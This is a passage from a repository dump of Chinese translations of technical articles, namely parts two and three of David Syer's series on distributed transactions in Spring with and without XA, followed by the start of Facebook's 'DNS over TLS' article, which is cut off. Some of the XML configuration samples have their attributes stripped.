ActiveMQ 的持久化策略，它将业务数据源的消息系统连接到同一个 `DataSource`，用于接收消息的 Spring `JmsTemplate` 上的标志位也同样重要。配置 ActiveMQ 持久化策略的方式如清单 4 所示：\n\n#### 清单 4. ActiveMQ 的持久化配置\n\n```xml\n<bean id=\"connectionFactory\" class=\"org.apache.activemq.ActiveMQConnectionFactory\"\n  depends-on=\"brokerService\">\n  <property vm://localhost?async=false\" />\n</bean>\n\n<bean id=\"brokerService\" class=\"org.apache.activemq.broker.BrokerService\" init-method=\"start\"\n  destroy-method=\"stop\">\n    ...\n  <property >\n    <bean class=\"org.apache.activemq.store.jdbc.JDBCPersistenceAdapter\">\n      <property >\n        <bean class=\"com.springsource.open.jms.JmsTransactionAwareDataSourceProxy\">\n          <property />\n          <property />\n        </bean>\n      </property>\n      <property  />\n    </bean>\n  </property>\n</bean>\n\n```\n\n用于接收消息的 Spring `JmsTemplate` 上的标志位配置如清单 5 所示：\n\n#### 清单 5. 为事务配置 `JmsTemplate`\n\n```xml\n<bean id=\"jmsTemplate\" class=\"org.springframework.jms.core.JmsTemplate\">\n  ...\n  <!-- 这很重要... -->\n  <property  />\n</bean>\n```\n\n如果没有设置 `sessionTransacted=true`，就永远不会执行 JMS 会话事务的 API 调用，并且消息的接收将无法回滚。这里重要的一点是嵌入式消息代理服务器中的特殊参数 `async=false` 和对 `DataSource` 的包装，他们共同确保了 ActiveMQ 和 Spring 共同使用了同一个 JDBC 事务的 `Connection`。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/distributed-transactions-in-spring-with-and-without-xa-part-2.md",
    "content": "> * 原文地址：[Distributed transactions in Spring, with and without XA - Part II](https://www.javaworld.com/article/2077963/distributed-transactions-in-spring--with-and-without-xa.html?page=2)\n> * 原文作者：[David Syer](mailto:david.syer@springsource.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-2.md)\n> * 译者：[xiantang](https://github.com/xiantang)\n> * 校对者：[Fengziyin1234](https://github.com/Fengziyin1234)\n\n# Spring 的分布式事务实现 — 使用和不使用 XA — 第二部分\n\n> * [Spring 的分布式事务实现 — 使用和不使用 XA — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-1.md)\n> * [Spring 的分布式事务实现 — 使用和不使用 XA — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-2.md)\n> * [Spring 的分布式事务实现 — 使用和不使用 XA — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-3.md)\n\n一个共享的数据库资源有时可以从现有的单独资源中被合成，特别是如果它们都在相同的 RDBMS 平台上。企业级别的数据库供应商都支持同义词（或等价物）的概念，其中一个模式（Oracle 术语）中的表在另一个模式内被定义为同义词。这样的话，在平台中的物理数据可以被 JDBC 客户端中的相同的 `Connection` 进行事务处理。例如，在真实系统中（作为对照）在 ActiveMQ 中实现共享事务资源模式，将会经常为涉及消息传递和业务数据创建同义词。\n\n> #### 性能和 JDBCPersistenceAdapter\n>\n> 在 ActiveMQ 社区中的某些人声称 `JDBCPersistenceAdapter` 会造成性能问题。然而，许多项目和实时系统将 ActiveMQ 和关系型数据库一同使用。在这些情况下，收到的明智的建议是使用日志版本用于提高性能。这不适用于共享事务资源模式（因为日志本事是一个新的事务资源）。尽管如此，陪审团仍然在关注 `JDBCPersistenceAdapter`。并且事实上有理由认为共享事务资源可能会**提高**。性能在日志方面。这是 Spring 和 ActiveMQ 工程团队之间积极研究的领域。 \n\n非消息方案（多数据库）的另一种共享资源的技术是使用 Oracle 数据的链接功能在 RDBMS 平台将两个数据库模式链接在一起（请参阅资料）。这可能需要修改应用程序的代码，或者创建同义词，因为引用链接数据库的表名的别名包含了链接的名称。\n\n## 最大努力单阶段提交模式\n\n最大努力单阶段提交模式是相当普遍的，但在开发人员必须注意的某些情况下可能会失败。这是一种非 XA 模式，涉及了许多资源的同步单阶段提交。因为没有使用二阶段提交，它绝不会像 XA 事务那样安全，但是如果参与者意识到妥协，通常就足够了。许多高容量，高吞吐量的事务处理系统通过设置这种方式以达到提高性能的目的。\n\n基本思想是在事务中尽可能晚地延迟所有资源的提交，以便唯一可能出错的是基础设施故障（而不是业务处理错误）。系统依赖于最大努力单阶段提交模式的原因是基础设施故障非常罕见，以至于他们能够承担风险以换取更高的吞吐量。如果业务处理服务也被设计成幂等，那么在实战中几乎不可能出现错误。\n\n为了帮助你更好地理解模式并分析失败的后果，我将使用消息驱动的数据库更新作为示例。\n\n此事务中的两个资源计入并计算在内。消息事务在数据库之前启动，并以相反的顺序结束（提交或回滚）。因此，成功案例中的顺序可能与本文开头的顺序相同：\n\n1.  开启消息事务\n2.  **接受消息**\n3.  开始数据库事务\n4.  **更新数据库**\n5.  提交数据库事务\n6.  提交消息事务\n\n实际上，前四个步骤的顺序并不关键，除了必须在更新数据库之前接收消息，并且每个事务必须在使用其相应资源之前开始。所以这个序列同样有效：\n\n1.  开启消息事务\n2.  开始数据库事务\n3.  **接受消息**\n4.  **更新数据库**\n5.  提交数据库事务\n6.  提交消息事务\n\n关键在于最后两个步骤很重要：它们必须按此顺序排在最后。顺序很重要的原因是因为技术性，但是业务需求也决定了顺序本事。这个顺序告诉你在这种情况下的事务资源是特殊的。它包含了关于如何去执行另一项工作的说明。这是一个业务排序：系统无法自动的判断如何排序（尽管如果消息和数据是两个资源，那么它通常按照如此顺序）。排序很重要的原因是因为它和失败情况相关。最常见的故障情况（到目前为止）是业务处理失败（错误数据，编程错误等）。在这种情况下，可以轻松地操纵这两个事务以响应异常和回滚。在这种情况下，业务数据的完整性得以保留，时间线类似于本文开头概述的理想故障情况。\n\n触发回滚的确切机制并不重要，有几个可用。重要的是，提交或回滚的发生方式与资源中业务排序的顺序相反。在示例应用程序中，消息传递事务必须最后提交，因为业务流程的指令被包含在该资源中。这很重要，因为会发生第一次提交成功并且第二次提交失败的（罕见）故障情况。因为通过设计，此时所有业务处理已经完成，所以这种部分故障的唯一原因将是消息传递中间件的基础设施问题。\n\n请注意，如果数据库资源的提交失败，则净效果仍然是回滚。因此，唯一的非原子失败模式是第一个事务提交而第二个事务回滚。更普遍的情况下，如果事务中存在 `n` 个资源，存在 `n-1` 这样的失败模式，在回滚之后会使资源存在不一致(已提交)状态。在消息数据库的用例中，此失败模式的结果是消息被回滚并返回到另一个事务中，即使它已经成功处理。因此，您可以推测到可能发生的更糟糕的事情是可以传递重复的消息。在更普遍的情况下，因为事务中较早的资源被认为可能携带有关如何对后来的资源进行处理的信息，所以失败模式的最终结果通常可以称为**消息重复**。\n\n有些人承担了重复消息不经常发生的风险，以至于他们不会费心去预测它们。但是，为了对业务数据的正确性和一致性更有信心，您需要在业务逻辑中了解它们。如果你在业务处理中意识到重复的消息可能会发生，那么所有必须做的事情（通常需要一些额外的成本，但不如 2PC 那么多）是检查它是否已经处理过该数据，如果有，则不执行任何操作。此专业化有时称为幂等业务服务模式。\n\n示例代码包括使用此模式同步事务资源的两个示例。我将依次讨论每一个，然后测试一些其他选项。\n\n## Spring 和消息驱动的 POJO\n\n在[示例代码](http://images.techhive.com/downloads/idge/imported/article/jvw/2009/01/springxa-src.zip)的 `best-jms-db project,` 参与者使用主流配置选项进行设置，以便遵循最大努力单阶段提交模式。这个想法是发送到队列的消息由异步监听器收集并用于将数据插入数据库的表中。\n\n这个 `TransactionAwareConnectionFactoryProxy` — Spring 中的一个组件，旨在用于这种模式 — 是关键因素。使用配置将 `ConnectionFactory` 包装在处理事务同步的装饰器中，而不是使用原始供应商提供的 `ConnectionFactory`。这发生在 `jms-context.xml,` 如示例 6 所示:\n\n#### 示例 6. 配置一个`TransactionAwareConnectionFactoryProxy` 来包装供应商提供的 `ConnectionFactory`\n\n```xml\n<bean id=\"connectionFactory\"\n  class=\"org.springframework.jms.connection.TransactionAwareConnectionFactoryProxy\">\n  <property>\n    <bean class=\"org.apache.activemq.ActiveMQConnectionFactory\" depends-on=\"brokerService\">\n      <property/>\n    </bean>\n  </property>\n  <property/>\n</bean>\n```\n\n`ConnectionFactory` 不需要知道要与哪个事务管理器同步，因为在需要时只有一个事务处于活动状态，而 Spring 可以在内部处理它。驱动事务由 `data-source-context.xml` 中配置的普通 `DataSourceTransactionManager` 处理。需要了解的是事务管理器的组件是将轮询和接收消息的JMS监听器容器：\n\n```xml\n<jms:listener-container transaction-manager=\"transactionManager\">\n  <jms:listener destination=\"async\" ref=\"fooHandler\" method=\"handle\"/>\n</jms:listener-container>\n```\n\n `fooHandler` 和 `method` 告诉监听器容器当消息到达 `async` 队列时，哪个组件要调用哪个方法。处理程序是这样实现的，接受一个 `String` 作为传入消息，并使用它来插入记录：\n\n```java\npublic void handle(String msg) {\n\n  jdbcTemplate.update(\n      \"INSERT INTO T_FOOS (ID, name, foo_date) values (?, ?,?)\", count.getAndIncrement(), msg, new Date());\n\n}\n```\n\n为了模拟失败的情况，代码使用了 `FailureSimulator` 切面。它检查消息内容以查看它是否应该失败，以及以何种方式。示例 7 中所示的 `maybeFail()` 方法在 `FooHandler` 处理消息之后调用，但在事务结束之前调用，以便它可以影响事务的结果：\n\n#### 示例 7. `maybeFail()` 方法\n\n```java\n@AfterReturning(\"execution(* *..*Handler+.handle(String)) && args(msg)\")\npublic void maybeFail(String msg) {\n  if (msg.contains(\"fail\")) {\n    if (msg.contains(\"partial\")) {\n      simulateMessageSystemFailure();\n    } else {\n      simulateBusinessProcessingFailure();\n    }\n  }    \n}\n```\n\n `simulateBusinessProcessingFailure()` 方法只抛出一个 `DataAccessException`，好像数据库访问失败一样。当触发此方法时，您期望完全回滚所有数据库和消息事务。此方案在示例项目的 `AsynchronousMessageTriggerAndRollbackTests` 单元测试中进行了测试。\n\n `simulateMessageSystemFailure()` 方法通过削弱底层 JMS `Session` 来模拟消息传递系统中的失败。这里的预期结果是部分提交：数据库工作保持提交但消息回滚。这是在 `AsynchronousMessageTriggerAndPartialRollbackTests` 单元测试中测试的。\n\n示例包还包括在 `AsynchronousMessageTriggerSunnyDayTests` 类中成功提交所有事务工作的单元测试。\n\n相同的JMS配置和相同的业务逻辑也可以在同步设置中使用，其中消息在业务逻辑内的阻塞调用中接收，而不是委托给侦听器容器。这种方法也在 `best-jms-db` 示例项目中得到了证明。sunny-day 案例和完整回滚分别在 `SynchronousMessageTriggerSunnyDayTests` 和 `SynchronousMessageTriggerAndRollbackTests` 中进行测试。\n\n## 链接事务管理器\n\n在最大努力单阶段提交模式的另一个示例（`best-db-db` 项目）中，事务管理器的粗略实现只是将其他事务管理器的列表链接在一起以实现事务同步。如果业务处理成功，他们都会提交，如果不是，他们都会回滚。\n\n实现在 `ChainedTransactionManager` 中，它接受其他事务管理器的列表作为注入属性，如示例 8 所示：\n\n#### 示例 8. ChainedTransactionManager 的配置\n\n```xml\n<bean id=\"transactionManager\" class=\"com.springsource.open.db.ChainedTransactionManager\">\n  <property>\n    <list>\n      <bean\n        class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n        <property/>\n      </bean>\n      <bean\n        class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n        <property/>\n      </bean>\n    </list>\n  </property>\n</bean>\n```\n\n对此配置最简单的测试就是在两个数据库中插入内容，回滚并检查两个操作是否都没有留下痕迹。这是作为 `MulipleDataSourceTests` 中的单元测试实现的，与 XA 示例的 `atomikos-db` 项目中的相同。如果回滚未同步但提交失败，则测试失败。\n\n请记住，资源的顺序很重要。它们是嵌套的，并且提交或回滚的顺序与它们被登记的顺序相反（这是配置中的顺序）。这使得其中一个资源变得特殊：如果出现问题，最外层资源总会回滚，即使唯一的问题是该资源的故障。此外，`testInsertWithCheckForDuplicates()` 测试方法显示了一个幂等的业务流程，可以保护系统免受部分故障的影响。它被实现为对内部资源（在这种情况下为 `otherDataSource`）的业务操作的防御性检查：\n\n```java\nint count = otherJdbcTemplate.update(\"UPDATE T_AUDITS ... WHERE id=, ...?\");\nif (count == 0) {\n  count = otherJdbcTemplate.update(\"INSERT into T_AUDITS ...\", ...);\n}\n```\n\n首先使用 `where` 子句尝试更新。如果没有任何反应，则插入您希望在更新中找到的数据。在这种情况下，对幂等过程的额外保护的成本是在 sunny-day 案例中的一个额外查询（更新）。在更复杂的业务流程中，此成本将非常低，其中每个事务执行许多查询。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/distributed-transactions-in-spring-with-and-without-xa-part-3.md",
    "content": "> * 原文地址：[Distributed transactions in Spring, with and without XA - Part III](https://www.javaworld.com/article/2077963/distributed-transactions-in-spring--with-and-without-xa.html?page=3)\n> * 原文作者：[David Syer](mailto:david.syer@springsource.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-3.md)\n> * 译者：[radialine](https://github.com/radialine)\n> * 校对者：[kezhenxu94](https://github.com/kezhenxu94)\n\n# Spring 的分布式事务实现-使用和不使用XA — 第三部分\n\n> * [Spring 的分布式事务实现-使用和不使用XA — 第一部分](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-1.md)\n> * [Spring 的分布式事务实现-使用和不使用XA — 第二部分](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-2.md)\n> * [Spring 的分布式事务实现-使用和不使用XA — 第三部分](https://github.com/xitu/gold-miner/blob/master/TODO1/distributed-transactions-in-spring-with-and-without-xa-part-3.md)\n\n## 其它建议\n\n示例中的 `ChainedTransactionManager` 具有简单的优点：它不用为可用的扩展和优化费心。另一种方法是在第二个资源加入时，使用 Spring 中的 `TransactionSychronization` API 为当前事务注册一个回调。这是 `best-jms-db` 示例中的方法，其中关键特性是 `TransactionAwareConnectionFactory` 与 `DataSourceTransactionManager` 的组合。这种特殊情况可以扩展泛化到使用 `TransactionSynchronizationManager` 的非 JMS 资源上。优点是，原则上只有加入该事务的那些资源将被登记，而不是链中的所有资源。然而，配置仍然需要知道潜在事务中的参与者对应于哪些资源。\n\n此外，Spring 工程团队正在为 Spring Core 考虑开发「Best Efforts 1PC 事务管理器」功能。如果你喜欢该模式，并且希望在 Spring 中看到对它的明确和更透明的支持，你可以在这个 [JIRA 问题](http://jira.springframework.org/browse/SPR-3844)中投票。\n\n## 非事务访问模式\n\n非事务访问模式在某种特殊的业务流程中才有意义。这里是指，有时你需要访问的资源是边缘的，不需要在事务中。例如，你可能需要向审计表中插入一行，该行与业务事务是否成功无关，它只是记录了尝试做某事。更常见的是，人们高估了他们需要对一个资源进行读写更改的程度，往往只读访问就足够了。或者写操作可以被在更细粒度上加以控制，使得在写操作中出现错误时，错误可以被考虑或忽略。\n\n在这些情况下，保持在事务之外的资源可能实际上具有它自己的事务，但是它不与正在发生的任何事务同步。如果你使用 Spring，则主要事务由 `PlatformTransactionManager` 驱动，边缘资源可能是从不由事务管理器控制的数据库「连接」从「数据源」获取。所有这一切都发生在每个访问边缘资源的默认设置是 `autoCommit = true` 时。读操作不会看到在另一个未提交的事务中同时发生的更新（假设有合理的默认隔离级别），但是写操作的效果通常会被其他参与者立即看到。\n\n这种模式需要更仔细的分析和更多设计业务流程的信心，但它不是完全不同于 Best Efforts 1PC。当出现任何问题，提供补偿事务的通用服务对于大多数项目来说是不现实的。但是简单的使用情况涉及幂等的、只执行一个写操作（可能多次读）的服务并不罕见。这些是非事务性情境的理想情况。\n\n## 飞行之翼：反模式\n\n最后一个模式是一个反模式。它往往出现在开发人员不了解分布式事务或不知道他们已经实现了一个分布式事务的情况下。如果没有显式调用底层资源的事务 API，你不能只是假设所有的资源都加入一个事务。如果你使用除 `JtaTransactionManager` 之外的 Spring 事务管理器，就会有一个事务资源依附到这个模式。该事务管理器将用于使用 Spring 声明性事务管理功能（如 `@Transactional`）来拦截方法执行。不能期望在同一事务中登记其他资源。通常的结果是正常情况下一切没有问题，但只要有一个异常，用户会发现其中一个资源没有回滚。导致此问题的典型错误是使用 `DataSourceTransactionManager` 和使用 Hibernate 来实现仓库。\n\n## 该使用哪个模式呢？\n\n我将通过分析这些模式的利弊得出结论，帮助你了解如何在它们之间做出决定。第一步是确认你有一个需要分布式事务的系统。一个必要的（但不是充分的）条件是存在具有多于一个事务资源的单个进程；一个充分的条件是这些资源在单个用例中一起使用，通常由对你的架构中的服务级别的调用驱动。\n\n如果你还没有分辨出分布式事务，你可能已经实现了**飞行之翼**模式。迟早你会看到应该已回滚但并没有回滚的数据。可能在真实的错误发生很久后你才能看到所造成的影响，这时已经很难追溯回失败的源头。开发人员可能会不小心使用飞行之翼模式，因为他们认为 XA 已经在发挥作用，但实际上没有配置基础资源来参与事务。我曾经在一个项目上工作，其中数据库已被另一个组安装，并且在安装过程中关闭了 XA 支持。系统运行了好几个月，然后奇怪的错误开始渗透到业务流程中。诊断这个问题花了很长时间。\n\n如果你的混合资源用例很简单，可以负担得起分析和重构，那么**非事务资源**模式可能是一种选项。当其中一个资源主要是读取，写入操作可以通过对重复项的检查来保护时，这种模式最有效。即使在失败之后，非事务性资源中的数据也必须在业务中有意义。审核、版本控制和日志记录信息通常适用于此类别。在这个模式中，失败将是相对常见的（任何时候都有可能发生事务回滚），但你可以相信这个没有副作用。\n\n**Best Efforts 1PC** 适用于要求失败率低，且不希望有像 2PC 那么大的开销的系统。选择这个模式带来的性能提升是很显著的。它的设置比非事务性资源更为棘手，但它不需要那么多的分析，并且用于更通用的数据类型。绝对的数据一致性要求业务处理对「外部」资源（除第一次以外的任一次提交）都是幂等的。消息驱动的数据库更新是一个完美的例子，Spring 对它已经有相当好的支持。更不常见的情况需要一些额外的框架代码（这些框架代码可能最终会是 Spring 的一部分）。\n\n**共享资源**模式非常适用于特殊情况，通常涉及两个特定类型和平台的资源（例如 ActiveMQ 与任何 RDBMS 或 Oracle AQ 与 Oracle 数据库位于同一位置）。这个模式的优点是极强的鲁棒性和卓越的性能。\n\n> #### 样例代码更新\n>\n> 由于 Spring 版本的新版本和其他组件的发布，本文提供的[示例代码](http://images.techhive.com/downloads/idge/imported/article/jvw/2009/01/springxa-src.zip)将不可避免地过时。请参阅 [Spring 社区网站](http://www.springframework.org/)以访问作者的最新代码，以及 Spring Framework 和相关组件的最新版本。\n\n**Full XA with 2PC** 是通用的，并且总是有最高的置信度、最强的保护以防止在使用多个不同资源的情况下发生故障。缺点是，这个模式很昂贵，因为协议规定了额外的 I/O（但不要写，直到你尝试它），还需要特殊用途的平台。有开源 JTA 实现了这种模式，可以提供摆脱应用程序服务器的方法，但许多开发人员仍然认为这种方式是次优的。当然，更多人没有花时间思考他们系统中的事务边界就选择了使用使用 JTA 和 XA。至少如果他们使用 Spring，他们的业务逻辑就不需要知道事务是如何被处理的，因此可以延迟平台选择。\n\nDr. [David Syer](mailto:david.syer@springsource.com) 是 SpringSource 的首席顾问，常驻英国。他是 Spring Batch 项目的创始人和首席工程师，Spring Batch 是一个用于构建和配置离线和批处理应用程序的开源框架。他经常主持关于企业 Java 和行业评论员的会议。最近的出版物可以在 The Server Side, InfoQ 和 SpringSource 博客找到。\n\n### 更多参考资料\n\n*   下载这篇文章的[源代码](http://images.techhive.com/downloads/idge/imported/article/jvw/2009/01/springxa-src.zip)。也别忘了访问 [Spring 社区网站](http://www.springframework.org/)获取这篇文章的最新代码。\n*   从 Java 文档中学习更多关于 `javax.transaction` 的 [JTA](http://java.sun.com/javaee/5/docs/api/javax/transaction/package-frame.html) 和 [`XAResource`](http://java.sun.com/javase/6/docs/api/javax/transaction/xa/XAResource.html) 的知识。\n*   “[使用 XA 的 Spring](http://www.javaworld.com/javaworld/jw-04-2007/jw-04-xa.html)”（Murali Kosaraju, JavaWorld, April 2007）解释了如何在 Java EE 容器外用 JTA 配置 Spring。\n*   “[深入 XA，第二部分](http://jroller.com/pyrasun/category/XA)”（Mike Spille, Pyrasun, The Spille Blog, April 2004）是一篇非常好的文章帮助深度了解 2PC。\n*   阅读 _Spring_ 参考指南，[第九章 事务管理](http://static.springframework.org/spring/docs/2.5.x/reference/transaction.html)，来深入了解 Spring 事务管理的工作原理，如何配置 Spring 事务管理。\n*   “[J2EE 1.2 中的事务管理](http://www.javaworld.com/jw-07-2000/jw-0714-transaction.html)”（Sanjay Mahapatra, JavaWorld, July 2000）定义了事务的 ACID 属性，包括原子性。\n*   在“[用 XA 还是不用 XA](http://guysblogspot.blogspot.com/2006/10/to-xa-or-not-to-xa.html)”（Guy's Blog, October 2006）中，Atomikos 的 CTO Guy Pardon 支持使用 XA。\n*   阅读 [Atomikos documentation](http://www.atomikos.com/Documentation/WebHome) 来了解这个开源的事务管理器。\n*   “[如何在 Oracle 中创建数据库链接](http://searchoracle.techtarget.com/tip/0,289483,sid41_gci1263933,00.html)”（Elisa Gabbert, SearchOracle.com, January 2004）解释了如何创建 Oracle 数据库链接。\n*   权衡这个为 Spring 框架[提供一个开箱即用的 \"best efforts\" 1PC 事务管理器](http://jira.springframework.org/browse/SPR-3844)的提案。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/dns-over-tls.md",
    "content": "> * 原文地址：[DNS over TLS: Encrypting DNS end-to-end](https://code.fb.com/security/dns-over-tls/)\n> * 原文作者：[https://code.fb.com](https://code.fb.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/dns-over-tls.md](https://github.com/xitu/gold-miner/blob/master/TODO1/dns-over-tls.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Qiuk17](https://github.com/Qiuk17)\n\n# DNS over TLS：端到端加密的 DNS\n\n![](https://code.fb.com/wp-content/uploads/2018/12/DoT-Hero.jpg)\n\n为了加密互联网流量中未被加密的最后一部分，我们与 [Cloudflare DNS](https://www.cloudflare.com/dns/) 合作进行了一个试点项目。这个试点项目利用安全传输层协议（即 [TLS](https://code.fb.com/networking-traffic/deploying-tls-1-3-at-scale-with-fizz-a-performant-open-source-tls-library/)，一种被广泛应用的、经过时间证明的机制，可用于双方在不安全信道上建立通讯时，为通讯提供身份认证及加密）与 DNS 进行结合。这个 DNS over TLS（DoT）方案能够加密并验证 Web 流量的最后一部分。在 DoT 测试中，人们可以在浏览 Facebook 时使用 Cloudflare DNS 享受完全加密的体验：不仅是在连接 Facebook 时用的 HTTPS 时进行了加密，而且在 DNS 级别，从用户计算机到 Cloudflare DNS、从 Cloudflare DNS 到 Facebook 域名服务器（NAMESERVER）中全程都采用了加密技术。\n\n## DNS 的历史\n\n二十世纪八十年代末，域名系统（DNS）被提出，可以让人们用简短易记的名称来连接实体（比如 facebook.com），这使得网络安全发生了极大的变化。人们为网络安全做了许多的改进，比如现在大部分的网络流量都是通过 HTTPS 连接，但在线上传输明文时仍然存在一些问题。\n\n2010 年，[DNS 安全拓展](https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions)（DNSSEC）部署实施，DNS 协议由此支持身份验证功能。虽然 DNSSEC 支持对消息进行身份验证，但仍然会使用明文来传输 DNS 请求与应答。这也使得传输的内容可以被请求方与响应方中间路径上任意节点轻松获取。2014 年 10 月，国际互联网工程任务组（IETF）建立了 [DPRIVE 工作组](https://datatracker.ietf.org/wg/dprive/about/)，其章程包括为 DNS 提供保密性与身份验证功能。\n\n此工作组在于 2016 年提出 [RFC 7858](https://tools.ietf.org/html/rfc7858) 指定了 DoT 标准。为此，Cloudflare 的 1.1.1.1 与 Quad9 的 9.9.9.9 等开放的解析器在 DoT 的支持下更加关注使用者的隐私。这也保护了终端用户设备到 DNS 解析器这一部分 DNS 通信。但连接的其它部分仍然是明文传输。在 2018 年 5 月，DPRIVE 重新开发了一个方法，用于加密从解析器到域名服务器间的通信。\n\n![](https://code.fb.com/wp-content/uploads/2018/12/DoT21.png)\n\n**DoT 以前的 DNS**\n\n## DoT 试验\n\n我们在过去的几个月中一直在进行一项试验，在 Cloudflare 1.1.1.1 递归解析器与我们的主域名服务器间开启 DoT。这个试验的目的是了解大规模使用 DoT 的可行性，收集信息以更好地了解 DoT 在接受应答时的延迟产生的开销，并确定计算开销。这个试验让我们更好地了解了 DoT 协议在真实环境下的表现。另外在生产环境负载中试验把 DNS 从 UDP 等即发即弃方法换成 TLS 之类的加密连接协议，可以将一些设计协议时发现不了的问题给暴露出来。\n\n![](https://code.fb.com/wp-content/uploads/2018/12/DoT3.jpg)\n\n**DoT 下的 DNS**\n\n截至目前，通过观察 Cloudflare DNS 与 Facebook 域名服务器间的生产环境流量，已经可以证明该试验是可行的解决方案。在初始化一个新连接的时候由于需要初始化请求，因此增加了延时；但我们可以重用 TLS 连接来处理其它更多的请求。因此，初始化增加的负载在均摊之后，降低到了 Cloudflare DNS 与 Facebook 主域名服务器 UDP 基线的 p99 相同的程度。\n\n下图展示了我们从 TLS 切换回 UDP 时（在 17:30 时刻）延时的变化。它可以让我们比较两个协议请求的延时。第一个图显示了在没有 TCP/TLS 会话建立开销情况下的延时百分比。它展示了当连接建立后，TLS 与 UDP 在查询和响应间的延时是相同的。\n\n![](https://code.fb.com/wp-content/uploads/2018/12/DoT41.png)\n\n第二张图加上了建立连接的时间来考虑请求的总体延迟。从图中可以看到，使用 TLS 还是 UDP 对连接的总体延时也没有影响。这是因为我们使用 TLS 的会话恢复技术，通过相同的 TLS 连接来执行多个请求，实质上分摊了初始化连接的开销。\n\n![](https://code.fb.com/wp-content/uploads/2018/12/DoT4.png)\n\n作为参考，下图展示了在不使用 TLS 会话恢复技术，并在建立连接后仅处理少量请求时总延时的差异。在比 22:35 稍早的时刻完成了 TLS 到 UDP 的切换，可以看到总体而言 TLS 对大多数的请求的影响与 UDP 类似，但在 p95 或更高的统计指标下，请求的延时收到了影响。后面一张图显示，当链接已经建立时，延时不受影响。这两张图表明，第一张图中的差异是由于建立新连接时产生的，并且实际上，建立新连接的频率很高。\n\n![](https://code.fb.com/wp-content/uploads/2018/12/DoT51.png)\n\n![](https://code.fb.com/wp-content/uploads/2018/12/DoT61.png)\n\n基本来说，浏览 Facebook 和使用带 DoT 的 Cloudflare DNS 的用户，无论是在用 HTTPS 连接时还是在 DNS 层面上，都可以享受完全加密的体验。虽然我们已经实现了 TLS 会话恢复技术，但还没有充分利用现代协议栈提供的全部优化方法。在将来，我们可以利用 TLS 的最新版本（[TLS 